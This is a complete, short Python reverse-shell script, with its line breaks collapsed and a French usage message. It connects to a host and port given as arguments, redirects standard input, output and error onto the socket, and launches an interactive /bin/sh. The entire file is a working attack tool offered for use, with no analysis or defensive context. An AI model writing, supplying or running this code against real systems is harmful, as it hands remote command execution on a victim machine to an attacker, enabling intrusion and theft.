#!/usr/bin/env python import sys, os, socket def reverseshell(host,port): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((host,port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.system("/bin/sh -i") if __name__ == "__main__": try: reverseshell(sys.argv[1],int(sys.argv[2])) except IndexError: print(f"{sys.argv[0]} demande un hôte et un port en agument")